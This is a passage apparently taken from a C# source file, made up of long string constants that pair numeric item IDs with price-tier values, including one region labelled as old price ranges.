+12960 10 +12961 5 +12962 5 +12963 10 +12964 10 +12965 5 +12966 5 +12967 5 +12968 5 +12969 5 +12970 5 +12971 10 +12972 5 +12973 5 +12974 5 +12975 5 +12976 10 +12977 5 +12978 10 +12979 5 +12980 5 +12981 10 +12982 5 +12983 5 +12984 5 +12985 10 +12986 5 +12987 5 +12988 5 +12989 5 +12990 2 +12991 2 +12992 10 +12993 10 +12994 10 +12995 5 +12996 2 +12997 2 +12999 2 +13000 2 +13001 10 +13002 2 +13003 2 +13004 2 +13005 2 +13006 10 +13007 10 +13008 10 +13009 10 +13010 10 +13011 10 +13012 10 +13013 5 +13014 3 +13015 2 +13016 2 +13017 2 +13018 5 +13019 2 +13020 2 +13021 2 +13022 2 +13023 5 +13024 5 +13025 2 +13026 10 +13027 10 +13028 5 +13029 2 +13030 2 +13031 5 +13033 2 +13034 2 +13035 5 +13036 2 +13037 2 +13041 5 +13042 2 +13043 2 +13044 2 +13045 2 +13046 2 +13047 2 +13048 5 +13049 2 +13050 2 +13051 2 +13052 2 +13054 2 +13055 2 +13065 5 +13066 3 +13067 2 +13068 2 +13069 3 +13070 5 +13071 2 +13072 2 +13073 2 +13074 2 +13076 5 +13077 10 +13078 2 +13079 2 +13080 2 +13081 5 +13082 2 +13083 2 +13084 5 +13085 2 +13086 2 +13087 5 +13088 2 +13089 2 +13090 5 +13091 2 +13092 5 +13093 10 +13038 5 +13039 2 +14687 5 +14688 10 +14689 10 +14690 5 +14691 2 +14692 2 +14693 2 +14694 2 +14695 2 +13094 5 +13095 10 +13096 10 +13097 10 +13098 10 +13099 10 +13100 10 +13101 10 +13102 10 +13103 10 +13104 10 +13105 10 +13106 10 +13107 10 +13108 10 +13109 10 +13110 10 +13111 10 +13112 10 +13113 10 +13114 10 +13115 10 +13116 10 +13117 10 +13118 10 +13119 10 +13120 5 +13121 10 +13122 10 +13123 10 +13124 10 +13125 5 +13126 3 +13127 10 +13128 10 +13129 5 +13130 10 +13131 10 +13132 10 +13133 10 +13134 10 +13135 10 +13136 10 +13137 5 +13138 10 +13139 10 +13140 10 +13141 10 +13142 10 +13143 10 +13144 10 +13145 10 +13146 10 +13147 10 +13148 10 +13149 10 +13150 10 +13151 10 +13152 10 +13156 2 +13157 2 +13158 3 +13159 3 +13160 3 +13161 5 +13162 3 +15535 2 +14891 5 +14892 5 +14894 5 +14895 5 +14896 5 +14910 5 +14911 3 +15470 2 +15471 2 +15472 2 +15473 2 +15474 2 +15475 2 +15476 2 +15481 2 +15484 2 +15490 1.3 +15491 1.3 +15495 1.3 +15496 2 +15497 2 +15499 2 +15500 1.3 +15501 2 +15502 2 +15503 2 +15504 2 +15505 2 +16301 10 +16302 5 +16303 5 +16304 5 +16306 5 +16307 5 +16308 5 +16309 5 +16310 5 +16311 5 +16312 5 +16329 2 +16427 5 +16428 5 +16460 5 +16463 10 +16500 5 +16501 5 +16502 5 +16503 10 +16504 5 +16506 10 +16507 10 +16508 10 +16509 10 +16510 10 +16511 10 +16512 10 +16513 10 +16514 10 +16515 10 +16516 5 +16517 10 +16518 10 +16606 5 +16607 5 +16608 5 +16609 5 +16610 5 +16706 5 +16707 5 +16708 5 +16710 5 +16713 5 +16714 5 +16715 5 +16716 5 +16717 10 +16718 5 +16719 5 +16720 5 +16721 5 +16722 5 +16734 5 +16735 5 +16737 5 +16738 5 +16739 5 +16740 5 +16741 5 +16742 5 +16743 5 +16744 5 +16745 5 +16746 5 +16747 5 +16748 5 +16750 5 +16751 5 +16752 5 +16753 5 +16755 5 +16756 5 +16757 5 +16759 5 +16760 5 +16761 5 +16763 5 +16768 10 +16769 5 +16770 5 +16772 5 +16773 10 +16774 5 +16775 10 +16776 5 +16777 5 +16778 5 +16779 8 +16780 5 +16781 5 +16782 5 +16783 5 +16784 5 +16785 5 +16786 5 +16787 5 +16788 5 +16790 10 +16791 5 +16792 5 +16793 10 +16827 8 +16829 2 +16830 3 +16831 2 +16833 10 +16834 5 +16835 10 +16836 10 +16837 8 +16838 5 +16839 10 +16840 5 +16841 3 +16842 2 +16843 8 +16844 8 +16845 8 +16846 3 +16847 5 +16848 5 +16849 5 +16850 5 +16851 5 +16852 5 +16853 3 +16854 5 +16855 5 +16856 5 +16858 3 +16860 3 +16861 3 +16862 5 +16863 5 +16864 3 +16865 5 +16866 2 +16899 3 +16900 3 +16939 2 +16940 3 +16972 2 +16973 3 +16974 2 +16975 5 +16976 2 +16978 2 +16979 2 +16981 2 +16982 2 +16983 5 +16984 2 +16985 2 +16986 2 +16987 2 +18083 2 +18084 2 +18085 2 +17120 5 +17121 5 +17122 5 +17123 5 +17126 5 +17127 5 +17129 3 +17132 2 +17133 5 +17279 5 +17280 5 +17281 2 +17282 5 +17283 5 +17284 5 +17409 10 +17410 10 +17411 10 +17559 5 +17560 5 +17561 5 +17563 5 +17564 5 +17565 5 +17567 5 +17568 5 +17569 5 +17570 5 +17571 5 +17572 5 +17573 5 +17574 5 +17576 5 +17577 5 +17578 5 +17579 5 +17580 5 +17583 5 +17584 5 +17585 5 +17587 5 +17591 5 +17592 5 +17594 5 +17595 5 +17596 5 +17597 5 +17598 5 +17599 5 +17600 10 +17601 5 +17602 5 +17605 5 +17606 5 +17607 5 +17608 5 +17611 5 +17612 5 +17614 5 +17616 5 +17618 5 +17619 5 +17620 5 +17621 5 +17623 5 +17625 5 +17626 5 +17627 5 +17630 5 +17632 5 +17633 5 +17635 5 +17636 5 +17637 5 +17638 5 +17640 5 +17641 5 +17643 5 +17644 5 +17645 5 +17647 5 +17650 5 +17651 5 +17653 5 +17655 5 +17660 5 +17656 5 +17657 5 +17658 5 +17659 5 +17662 5 +17663 5 +17664 5 +17665 5 +17666 5 +17667 5 +17668 5 +17669 5 +17670 5 +17751 3 +17755 5 +17756 3 +17757 5 +17758 5 +17759 10 +17761 3 +17762 5 +17763 2 +17764 5 +17765 5 +17766 3 +17767 2 +17768 5 +17769 5 +17770 5 +17771 3 +17772 5 +17773 10 +17775 8 +17777 8 +17779 10 +17782 3 +17785 10 +17786 10 +17788 2 +17793 2 +17797 3 +17798 3 +17799 3 +17800 3 +17801 5 +17802 3 +17894 5 +17896 5 +17897 3 +17898 5 +17899 5 +17900 3 +17901 3 +17902 3 +17903 3 +17904 5 +17905 3 +17906 3 +17907 3 +17908 5 +17909 3 +17910 3 +17911 3 +17912 5 +17913 3 +17914 5 +17915 3 +17916 3 +17917 3 +17918 3 +17919 3 +17920 3 +17921 3 +17922 3 +17923 3 +17924 3 +17925 3 +17926 3 +17927 3 +17928 3 +17929 3 +17930 5 +17931 5 +17932 5 +17933 5 +17934 5 +17935 5 +17936 5 +17937 5 +17938 5 +17939 5 +17940 5 +17941 5 +17942 5 +17943 10 +17944 5 +17945 5 +17946 5 +17947 5 +17948 5 +17949 5 +17950 3 +17951 3 +17952 3 +17953 3 +17954 3 +17955 3 +17956 3 +17957 3 +17958 3 +17959 3 +17960 3 +17961 3 +17962 3 +17963 3 +17964 3 +17965 3 +17966 3 +17967 3 +17968 3 +17969 3 +17970 3 +17971 3 +17972 3 +17973 3 +17974 3 +17975 3 +17976 3 +17977 3 +17978 3 +17979 3 +17980 3 +17981 3 +17982 3 +17983 3 +17984 3 +17985 3 +17986 3 +17987 3 +17988 3 +17989 5 +17990 3 +17991 3 +17992 3 +17993 3 +17994 3 +17995 3 +17996 3 +17997 3 +17998 3 +17999 5 +18000 3 +18001 3 +18002 3 +18003 3 +18004 3 +18005 3 +18006 3 +18007 3 +18008 3 +18009 3 +18010 3 +18011 3 +18012 3 +18013 3 +18014 3 +18015 3 +18016 3 +18017 3 +18018 3 +18019 3 +18020 3 +18021 3 +18022 3 +18023 3 +18024 3 +18025 3 +18026 3 +18027 3 +18028 3 +18029 3 +18030 3 +18031 3 +18033 3 +18034 3 +18755 3 +18035 3 +18036 3 +18038 3 +18039 3 +18040 3 +18041 3 +18042 3 +18043 3 +18044 3 +18045 3 +18046 3 +18047 3 +18048 3 +18049 3 +18527 5 +18528 5 +18529 5 +18530 5 +18531 3 +18532 3 +18533 5 +5671 5 +5952 5 +5959 3 +5965 3 +5982 5 +5989 3 +6006 2 +6167 3 +6247 2 +9527 5 +9551 2 +9558 10 +9559 10 +9610 8 +9647 3 +11850 2 +14860 3 +14880 5 +14882 2 +14887 2 +14912 2 +14914 2 +14915 2 +14916 2 +14918 2 +14926 5 +14927 3 +14928 2 +14929 3 +15149 5 +15150 5 +15151 5 +15154 10 +15155 3 +15172 10 +15173 10 +15181 10 +15183 10 +15184 10 +15185 5 +15186 3 +15188 5 +15250 5 +15252 5 +15255 5 +15270 3 +15271 10 +15272 10 +15273 5 +15274 2 +15276 5 +15277 5 +15278 5 +15279 5 +15285 3 +15332 10 +15333 5 +15335 5 +15336 3 +15346 5 +15347 5 +15351 10 +15352 5 +15353 10 +15355 3 +16992 10 +17021 5 +17399 3 +17402 3 +17407 5 +8344 5 +8381 2 +15536 3 +14893 3 +5757 5 +6024 1.5 +6169 5 +6248 2 +7886 2 +9611 5 +11847 2 +14879 5 +14883 3 +14884 3 +14885 3 +14888 3 +14889 2 +14913 1.3 +14917 2 +14921 1.3 +14923 5 +14932 5 +15003 2 +15147 5 +15148 5 +15152 3 +15153 5 +15174 10 +15182 5 +15187 5 +15245 3 +15251 5 +15275 2 +15280 5 +15282 3 +15283 3 +15284 5 +15348 3 +15349 5 +8360 5 +8388 8 +8406 5 +15337 5 +5672 5 +19150 2 +19152 5 +19165 2 +19168 3 +5807 2 +5880 5 +5901 5 +5905 5 +19127 5 +19131 5 +5925 5 +5934 3 +5940 5 +5950 2 +5957 5 +5961 2 +18239 3 +5963 3 +5976 1.5 +5977 5 +5985 2 +5991 3 +5992 3 +6022 2 +6028 2 +6036 3 +6042 5 +6050 1.5 +6066 5 +6069 5 +6071 5 +6074 2 +6146 3 +6153 3 +6161 2 +6185 2 +6187 1.5 +6193 2 +6201 2 +6203 3 +6223 2 +6224 3 +6225 2 +6226 3 +6232 2 +6240 2 +6242 2 +6251 3 +6260 2 +6268 2 +6278 3 +6297 2 +6301 3 +6309 2 +6310 2 +6314 2 +6320 2 +6323 2 +6328 2 +6334 5 +6340 2 +6355 2 +6361 5 +6365 3 +6366 2 +6371 2 +6383 3 +6390 2 +7347 10 +7357 10 +7387 10 +7508 10 +7733 5 +7735 3 +7737 5 +7742 3 +7743 3 +7790 5 +7830 5 +7841 3 +7844 5 +7802 5 +7812 2 +7863 10 +7868 5 +7874 2 +7894 8 +7903 5 +8190 5 +8234 3 +8245 5 +8261 3 +8266 5 +8278 2 +8480 1.3 +8485 1.2 +8486 2 +8491 2 +8494 2 +8533 1.1 +8536 1.1 +8562 2 +8564 2 +8566 2 +8616 2 +8632 2 +8643 5 +8657 2 +8663 2 +8689 2 +8698 2 +9510 3 +9517 3 +9529 3 +9552 5 +9573 10 +9583 5 +9617 2 +9780 5 +10164 2 +15493 1.3 +15498 2 +16300 5 +16305 5 +16327 2 +16328 2 +16461 5 +16462 5 +16505 10 +16709 10 +16711 5 +16712 5 +16723 5 +16724 5 +16733 5 +16736 5 +16749 5 +16754 5 +16758 5 +16762 5 +16764 5 +16771 5 +16789 5 +16828 3 +16832 3 +16857 2 +16859 3 +16941 5 +16977 3 +16980 2 +16988 3 +18086 2 +17124 5 +17125 5 +17128 2 +17131 3 +17278 3 +17558 5 +17562 5 +17566 5 +17575 5 +17581 5 +17582 5 +17586 5 +17588 5 +17589 5 +17590 5 +17593 5 +17603 5 +17604 5 +17609 5 +17610 5 +17613 5 +17615 5 +17617 5 +17622 5 +17624 5 +17628 5 +17629 5 +17631 5 +17634 5 +17639 5 +17642 5 +17646 5 +17648 5 +17649 5 +17652 5 +17654 5 +17661 5 +17752 2 +17753 10 +17754 3 +17760 3 +17774 2 +17776 8 +17778 5 +17780 3 +17781 3 +17783 3 +17784 10 +17787 2 +17789 2 +17790 3 +17791 3 +17792 2 +17794 3 +17795 3 +17796 2 +7305 2 +4798 2 +4804 8 +4819 2 +4824 2 +5496 2 +18993 5 +4788 2 +4725 5 +4734 2 +19015 2 +2688 2 +2744 10 +2761 5 +2763 5 +2957 3 +2959 5 +2966 5 +2967 2 +3012 5 +3029 2 +3030 2 +3045 1.3 +3046 2 +5489 5 +3084 2 +3088 2 +3093 2 +3101 2 +3104 2 +3108 5 +3109 1.5 +5670 5 +19161 3 +5972 5 +6034 3 +19111 3 +6228 2 +6307 5 +8702 2 +8703 2 +9927 3 +10286 10 +10291 5 +10295 10 +10299 10 +10303 10 +10312 10 +10328 10 +10334 10 +10342 10 +10345 10 +10346 10 +10350 10 +10351 10 +10355 10 +10356 10 +10359 10 +10360 10 +10364 10 +10365 10 +10368 10 +10369 10 +10374 10 +10375 10 +10387 10 +10388 10 +10391 10 +10392 10 +10395 10 +10396 10 +10399 10 +10400 10 +10403 10 +10404 10 +10405 10 +10408 10 +10410 10 +10411 10 +10414 10 +10435 10 +10441 10 +10443 5 +10444 5 +10445 10 +10447 10 +10448 10 +10449 10 +10451 10 +10452 10 +10453 10 +10455 10 +10456 10 +10457 10 +10459 10 +10460 10 +10461 10 +10463 10 +10464 10 +10465 10 +10467 5 +10468 10 +11885 3 +19276 2 +11992 2 +12108 2 +12110 2 +12114 2 +12116 10 +12119 5 +12203 5 +12521 3 +12569 3 +14808 2 +15016 1.3 +15037 2 +15296 5 +15311 3 +15319 3 +16173 5 +16932 2 +17234 10 +8085 10 +8327 5 +8332 5 +10768 10 +10884 5 +12788 10 +12956 5 +12998 2 +13032 2 +13053 5 +13040 2 +15485 1.3 +15487 2 +15488 1.3 +15489 2 +17895 5 +6400 5 +6401 8 +6403 5 +6404 5 +6405 10 +6406 5 +6407 5 +6408 5 +6409 8 +6410 10 +6412 5 +6413 5 +6414 10 +6415 8 +6416 3 +6418 5 +6419 5 +6421 3 +6422 5 +6423 5 +6424 5 +6425 5 +6426 5 +6427 3 +6428 3 +6429 3 +6430 3 +6432 2 +6433 3 +6434 3 +6435 3 +6436 5 +6437 8 +6438 10 +6439 5 +6440 5 +6441 5 +6442 5 +6443 8 +6444 5 +6445 5 +6446 5 +6447 5 +6448 5 +6449 5 +6450 5 +6451 5 +6452 5 +6453 5 +6454 5 +6455 5 +6456 3 +6457 10 +6458 5 +6459 5 +6460 8 +6461 5 +6462 5 +6463 3 +6464 10 +6470 5 +6474 5 +6475 3 +6476 5 +6477 5 +6478 5 +6479 5 +6480 5 +6483 5 +6485 5 +6486 5 +6487 3 +6488 5 +6489 2 +6491 5 +6492 8 +6493 5 +6494 5 +6495 8 +6496 8 +6497 10 +6498 5 +6499 5 +6502 10 +6503 5 +6504 10 +6505 5 +6506 5 +6507 5 +6508 10 +6509 5 +6511 8 +6512 8 +6513 5 +6516 5 +6520 5 +6521 10 +6523 5 +6524 5 +6525 5 +6526 3 +6527 3 +6528 3 +6529 5 +6530 5 +6531 8 +6532 5 +6540 5 +6542 5 +6543 5 +6544 5 +6545 5 +6546 5 +6549 5 +6551 5 +6553 5 +6554 5 +6555 5 +6556 5 +6557 5 +6558 5 +6559 5 +6561 5 +6562 5 +6563 5 +6564 5 +6565 5 +6566 5 +6568 5 +6570 3 +6572 3 +6573 5 +6575 3 +6576 3 +6577 3 +6578 5 +6581 2 +6582 2 +6583 3 +6584 5 +6585 3 +7516 5 +7517 5 +7518 5 +7519 5 +7523 5 +7524 3 +7522 5 +6588 5 +6590 5 +6592 3 +6593 5 +6594 5 +6595 5 +6596 3 +6598 5 +6599 5 +6600 5 +6601 5 +6603 5 +6604 3 +6605 5 +6606 5 +6607 3 +6608 5 +6610 5 +6611 5 +6612 3 +6614 5 +6615 5 +6616 5 +6617 5 +6618 5 +6620 5 +6621 5 +6622 5 +6623 5 +6624 5 +6625 5 +6626 5 +6627 5 +6628 5 +6629 5 +6643 5 +6648 5 +6649 5 +6656 5 +6658 5 +6660 5 +6666 5 +6690 5 +6691 5 +6692 5 +6693 10 +6694 5 +6695 5 +6696 5 +6697 5 +6698 3 +6699 3 +6700 5 +6701 8 +6702 3 +6703 5 +6704 3 +6705 5 +6706 10 +6707 5 +6708 5 +6710 3 +6711 3 +6712 3 +6713 3 +6714 3 +6715 3 +6716 3 +6717 3 +6718 3 +6719 3 +6720 3 +6721 3 +6722 3 +6723 3 +6724 3 +6725 5 +6726 3 +6727 3 +6728 3 +6757 5 +6760 5 +6762 2 +6764 2 +6766 2 +6768 2 +6770 5 +6772 2 +6777 3 +6782 3 +6787 2 +6788 2 +6789 2 +6790 2 +6791 2 +6792 2 +6793 2 +6794 2 +6795 2 +6796 2 +6797 2 +6798 2 +6800 2 +6801 2 +6802 2 +6803 2 +6804 2 +6806 2 +6807 2 +6808 2 +6809 2 +6810 2 +6811 2 +6812 2 +6813 2 +6814 2 +6815 2 +6816 2 +6818 2 +6819 2 +6820 2 +6821 2 +6822 2 +6824 2 +6825 2 +6826 2 +6828 2 +6829 2 +6830 2 +6831 2 +6832 2 +6833 2 +6834 2 +6835 2 +6836 2 +6837 2 +6838 2 +6839 2 +6840 2 +6841 2 +6842 2 +6843 2 +6844 2 +6846 2 +6847 2 +6849 2 +6850 2 +6851 2 +6852 2 +6853 2 +6854 2 +6855 2 +6856 2 +6857 2 +6858 2 +6859 2 +6860 2 +6861 2 +6862 2 +6863 2 +6864 2 +6865 2 +6866 2 +6868 2 +6869 2 +6870 2 +6871 2 +6872 2 +6873 2 +6874 2 +6875 2 +6876 2 +6877 2 +6878 2 +6879 2 +18789 2 +6881 2 +6882 2 +6885 10 +6886 10 +6887 10 +6888 10 +6889 10 +6891 10 +6892 10 +6893 10 +6894 10 +6896 10 +6897 10 +6898 10 +6899 10 +6901 10 +6902 10 +6903 10 +6904 10 +18790 10 +6906 10 +6908 10 +6909 10 +6910 10 +6911 10 +6912 10 +6914 10 +6915 10 +6916 10 +6917 10 +6919 10 +6920 10 +6921 10 +6922 10 +6923 10 +6924 10 +6925 10 +6926 10 +6927 10 +6928 10 +6929 10 +6930 10 +6931 10 +6932 10 +6933 10 +6934 10 +6935 10 +6936 10 +6937 10 +6938 10 +6939 10 +6940 10 +6941 10 +6942 10 +6943 10 +6944 10 +6945 10 +6946 10 +6947 10 +6948 10 +6950 10 +6952 10 +6954 10 +6956 10 +6957 10 +6959 10 +6960 10 +6961 10 +6963 10 +6964 10 +6965 10 +6967 10 +6969 10 +6970 10 +6971 10 +6972 10 +6973 10 +6974 10 +6975 10 +6976 10 +6977 10 +6978 10 +6979 10 +6980 10 +6981 10 +6982 10 +6983 10 +6984 10 +6985 10 +6986 10 +6987 10 +6988 10 +6989 10 +6990 10 +6991 10 +6992 10 +6993 10 +6994 10 +6995 10 +6996 10 +6997 10 +6998 10 +6999 10 +7000 10 +7001 10 +7002 10 +7003 10 +7004 10 +7005 10 +7006 10 +7007 10 +7008 10 +7009 10 +7011 10 +7013 10 +18792 10 +18793 10 +18794 10 +18795 10 +8428 5 +8429 5 +8194 5 +8210 3 +8211 5 +8212 3 +8213 3 +8214 3 +8215 5 +8216 3 +8290 3 +14707 2 +14708 2 +14709 2 +14710 2 +14712 2 +14713 2 +14722 2 +14723 1.3 +14724 1.3 +14725 1.3 +14726 2 +14727 2 +14728 2 +14729 2 +14730 1.3 +14731 2 +14732 2 +14733 2 +14734 2 +14735 2 +14736 2 +14737 2 +14738 2 +14739 2 +14714 2 +14715 2 +14716 2 +14717 2 +14718 2 +14719 2 +14720 2 +14721 2 +15434 2 +15435 2 +15437 2 +15438 2 +15439 2 +15506 1.3 +15508 2 +15509 2 +15510 2 +15511 2 +15512 1.3 +15513 1.3 +15515 1.3 +15516 1.3 +7526 5 +7527 5 +7528 8 +7529 10 +7531 5 +6431 5 +6867 2 +14711 2 +7532 5 +7533 5 +7534 5 +7535 5 +7536 5 +7537 5 +7538 5 +7539 5 +7540 5 +7541 5 +7542 5 +7544 5 +7545 5 +7546 5 +7547 5 +7548 5 +7549 5 +7550 3 +7551 5 +7552 3 +7553 5 +7554 5 +7555 5 +7556 5 +7557 5 +7558 5 +7559 5 +7560 5 +7561 5 +7568 5 +7569 5 +7570 5 +7571 5 +7572 5 +7562 5 +7563 5 +7564 5 +7565 5 +7566 5 +7567 5 +18798 5 +18802 5 +7573 5 +7574 3 +7575 5 +7576 2 +7579 3 +7580 3 +7628 3 +7581 5 +7582 5 +7583 3 +7584 5 +7585 5 +7586 5 +7587 5 +7588 5 +7589 5 +7590 5 +7591 3 +7592 5 +7593 5 +7594 3 +7595 5 +7596 5 +7597 5 +7598 5 +7599 2 +7600 5 +7601 5 +7602 5 +7525 5 +7603 5 +7604 3 +7618 5 +7619 5 +7620 5 +7621 10 +7622 5 +7623 10 +7624 5 +7625 5 +7626 5 +7627 5 +7605 5 +7606 5 +7607 5 +7608 5 +7609 5 +7610 5 +7611 5 +7612 5 +7613 5 +7614 5 +7615 5 +7616 5 +7617 5 +8409 10 +8410 5 +8411 3 +8412 5 +8413 1.5 +8414 3 +8415 5 +8416 5 +8417 5 +8418 5 +8419 3 +8420 3 +8421 5 +8423 3 +8424 5 +8425 3 +8426 5 +8427 3 +6411 5 +6774 1.0 +6775 1.0 +6776 1.0 +6778 1.0 +6779 1.0 +6780 1.0 +6781 1.0 +6783 1.0 +6784 1.0 +15436 1.0 +15507 1.0 +15514 1.0 +15517 1.0 +8422 1.0"; + #endregion + + #region 价格区间(老的) + + public static string PriceSpace = @"32 3 +33 3 +34 3 +35 3 +180 3 +181 3 +182 3 +185 5 +423 2 +435 2 +441 2 +1428 3 +1429 3 +1430 3 +1431 3 +1438 5 +1439 5 +1440 5 +1441 5 +1442 5 +1447 5 +1448 5 +1449 5 +1450 5 +1451 10 +1452 5 +1453 5 +1454 5 +1456 5 +1457 5 +1467 3 +1468 3 +1469 3 +1470 3 +1471 3 +1472 3 +1473 3 +1474 3 +1475 3 +1476 3 +1477 3 +1479 3 +1480 3 +1481 3 +1482 3 +1483 3 +1484 3 +1485 3 +1489 3 +1894 5 +1895 5 +2115 10 +2627 5 +2628 5 +2673 10 +2674 10 +2675 10 +2676 10 +2677 10 +2678 10 +2679 10 +2680 10 +2681 10 +2682 10 +2683 10 +2684 10 +2685 10 +2686 10 +2687 10 +2688 10 +2689 10 +2690 10 +2691 10 +2692 10 +2693 10 +2694 10 +2695 10 +2696 10 +2697 10 +2698 10 +2699 10 +2700 10 +2701 10 +2702 10 +2703 10 +2704 5 +2705 5 +2706 5 +2707 5 +2708 5 +2709 10 +2710 10 +2711 10 +2712 10 +2713 10 +2714 10 +2715 10 +2716 10 +2717 10 +2718 10 +2719 10 +2720 10 +2721 10 +2722 10 +2723 10 +2724 10 +2725 10 +2726 10 +2727 10 +2728 10 +2729 10 +2730 10 +2731 10 +2732 10 +2733 10 +2734 10 +2735 10 +2736 10 +2737 10 +2738 10 +2739 10 +2740 10 +2741 10 +2742 10 +2743 10 +2744 10 +2745 10 +2746 10 +2747 10 +2748 10 +2749 10 +2750 10 +2751 10 +2752 10 +2753 10 +2754 10 +2755 10 +2756 10 +2757 10 +2758 10 +2759 10 +2760 10 +2761 10 +2762 10 +2763 10 +2764 10 +2765 10 +2766 10 +2768 10 +2769 10 +2770 10 +2771 10 +2772 10 +2773 10 +2774 10 +2775 10 +2776 10 +2777 10 +2778 10 +2779 10 +2780 10 +2781 10 +2782 10 +2783 10 +2784 10 +2785 10 +2786 10 +2787 10 +2788 10 +2789 10 +2790 10 +2791 10 +2792 10 +2793 10 +2794 10 +2795 10 +2796 10 +2797 10 +2798 10 +2799 10 +2800 10 +2801 10 +2802 10 +2803 5 +2804 10 +2805 10 +2806 10 +2807 10 +2808 10 +2809 10 +2810 10 +2811 10 +2812 10 +2813 10 +2814 10 +2815 10 +2816 10 +2817 10 +2818 10 +2819 10 +2820 10 +2821 10 +2822 10 +2823 10 +2824 10 +2825 10 +2826 10 +2827 10 +2828 10 +2829 10 +2830 10 +2831 10 +2832 10 +2833 10 +2834 10 +2835 10 +2836 10 +2837 10 +2838 10 +2839 10 +2840 10 +2841 10 +2842 10 +2843 10 +2844 10 +2955 5 +2956 5 +2957 5 +2958 5 +2959 5 +2960 5 +2961 5 +2962 5 +2963 5 +2964 5 +2965 5 +2966 5 +2967 5 +2968 5 +2969 5 +2970 5 +2971 5 +2972 5 +2973 5 +2974 5 +2975 5 +2976 5 +2977 5 +2978 5 +2980 5 +2981 5 +2982 5 +2983 5 +2984 5 +2985 5 +2986 5 +2987 5 +2988 5 +2989 5 +2990 5 +2991 5 +2992 5 +2993 5 +2994 5 +2995 5 +2996 5 +2997 5 +2998 5 +2999 5 +3000 5 +3001 5 +3002 5 +3003 5 +3004 5 +3005 5 +3006 5 +3007 5 +3008 5 +3009 5 +3010 5 +3011 5 +3012 5 +3013 5 +3014 5 +3015 5 +3016 5 +3017 5 +3018 5 +3019 5 +3020 5 +3021 5 +3022 5 +3023 5 +3024 5 +3025 5 +3026 5 +3027 5 +3028 5 +3029 5 +3031 5 +3032 5 +3033 5 +3035 2 +3036 2 +3037 2 +3038 3 +3039 3 +3040 5 +3041 2 +3042 5 +3043 5 +3044 5 +3045 1.3 +3047 5 +3048 5 +3049 5 +3050 5 +3051 1.3 +3052 3 +3053 5 +3054 5 +3055 2 +3056 5 +3057 5 +3058 5 +3059 5 +3060 5 +3061 5 +3062 5 +3063 5 +3065 5 +3066 5 +3067 5 +3068 5 +3069 5 +3070 5 +3071 5 +3072 5 +3073 5 +3074 5 +3075 5 +3076 5 +3077 5 +3078 5 +3079 5 +3080 5 +3081 5 +3082 5 +3083 5 +3084 3 +3085 5 +3086 5 +3087 5 +3088 5 +3089 5 +3090 5 +3091 5 +3092 5 +3093 5 +3094 5 +3095 5 +3096 5 +3097 5 +3098 5 +3099 5 +3100 5 +3101 5 +3102 5 +3103 5 +3104 5 +3105 5 +3106 5 +3107 5 +3108 5 +3715 3 +3716 3 +3717 3 +3718 3 +3719 3 +3720 3 +3721 3 +3722 3 +3723 3 +3724 3 +3725 3 +3727 3 +3728 3 +3729 3 +3730 3 +3731 3 +3733 3 +3734 3 +3735 3 +3736 3 +3738 3 +3739 3 +3740 3 +3741 3 +3742 3 +3743 3 +3744 3 +3745 3 +3747 3 +3749 3 +3750 3 +3751 3 +3752 3 +3753 3 +3754 3 +3755 3 +3756 3 +3758 3 +3759 3 +3760 3 +3761 3 +3762 3 +3763 3 +3764 3 +3765 3 +3766 3 +3767 3 +3768 3 +3769 3 +3770 3 +3771 3 +3772 3 +3774 3 +3779 3 +3780 3 +3781 3 +3782 3 +3784 3 +3785 3 +3788 3 +3789 3 +3790 3 +3791 3 +3792 3 +3796 3 +3799 3 +3800 3 +3802 3 +3803 3 +3805 3 +4507 3 +4513 5 +4514 5 +4518 5 +4526 5 +4529 5 +4539 5 +4656 5 +4674 5 +4677 5 +4681 5 +4684 5 +4695 2 +4712 2 +4725 10 +4730 10 +4732 10 +4733 10 +4736 10 +4737 10 +4742 10 +4745 10 +4754 10 +5479 10 +5505 10 +5507 10 +5508 10 +5676 10 +5869 5 +5875 5 +5905 5 +5923 10 +5942 10 +5949 10 +5950 10 +10280 10 +10285 10 +10328 10 +10357 10 +10361 10 +10368 10 +10397 10 +10403 10 +10406 10 +10411 10 +10414 10 +10447 10 +10448 10 +10452 10 +10454 10 +10458 10 +10459 10 +10461 10 +10473 10 +10483 10 +10487 10 +10494 10 +10505 10 +10513 10 +10514 10 +10518 10 +10523 10 +10526 10 +10528 10 +10529 10 +10531 10 +10532 10 +10535 10 +10536 10 +10538 10 +10541 10 +10543 10 +10544 10 +10545 10 +10547 10 +10554 10 +10557 10 +10558 10 +10559 10 +10560 10 +10563 10 +10564 10 +10566 10 +10568 10 +10569 10 +10570 10 +10571 10 +10573 10 +10575 10 +10576 10 +10577 10 +10578 10 +10580 10 +10584 10 +10585 10 +10586 10 +10588 10 +10590 10 +10593 10 +10594 10 +10596 10 +10598 10 +10604 10 +10605 10 +10606 10 +10609 10 +10610 10 +10611 10 +10612 10 +10613 10 +10614 10 +10615 10 +10618 10 +10619 10 +10626 10 +10629 10 +10631 10 +10633 10 +10634 10 +10635 10 +10637 10 +10638 10 +10640 10 +10642 10 +10643 8 +10644 10 +10645 10 +10646 10 +10648 10 +10649 10 +10650 10 +10651 10 +10652 10 +10653 10 +10655 10 +10657 10 +10659 10 +10661 10 +10662 10 +10664 10 +10667 10 +10668 10 +10669 10 +10670 10 +10671 10 +10672 10 +10673 10 +10674 10 +10675 10 +10676 10 +10677 10 +10678 10 +10679 10 +10680 10 +10681 10 +10682 10 +10683 10 +10684 10 +10685 10 +10686 10 +10687 10 +10688 10 +10689 10 +10690 10 +10691 10 +10692 10 +10693 10 +10694 10 +10695 10 +10696 10 +10697 10 +10698 10 +10699 10 +10700 10 +10701 10 +10702 10 +10703 10 +10704 10 +10705 10 +10706 10 +10707 10 +10708 10 +10709 10 +10710 10 +10711 10 +10712 10 +10713 10 +10714 10 +10715 10 +10716 10 +10717 10 +10718 10 +10719 10 +10720 10 +10721 10 +10722 10 +10723 10 +10724 10 +10725 10 +10726 10 +10727 10 +10728 10 +10729 10 +10730 10 +10731 10 +10732 10 +10733 10 +10734 10 +10735 10 +10736 10 +10737 10 +10738 10 +10739 10 +10740 10 +10741 10 +10742 10 +10743 10 +10744 10 +10745 10 +10746 10 +10747 10 +10748 10 +10749 10 +10750 10 +10751 10 +10752 10 +10753 10 +10754 10 +10755 10 +10756 10 +10757 10 +10758 10 +10759 10 +10760 10 +10761 10 +10762 10 +10763 10 +10764 10 +10765 10 +10766 10 +10767 10 +10768 10 +10769 10 +10770 10 +10771 10 +10772 10 +10773 10 +10774 10 +10775 10 +10776 10 +10777 8 +10778 8 +10779 8 +10780 8 +10781 8 +10782 8 +10783 8 +10784 5 +10785 5 +10786 5 +10787 5 +10788 5 +10789 5 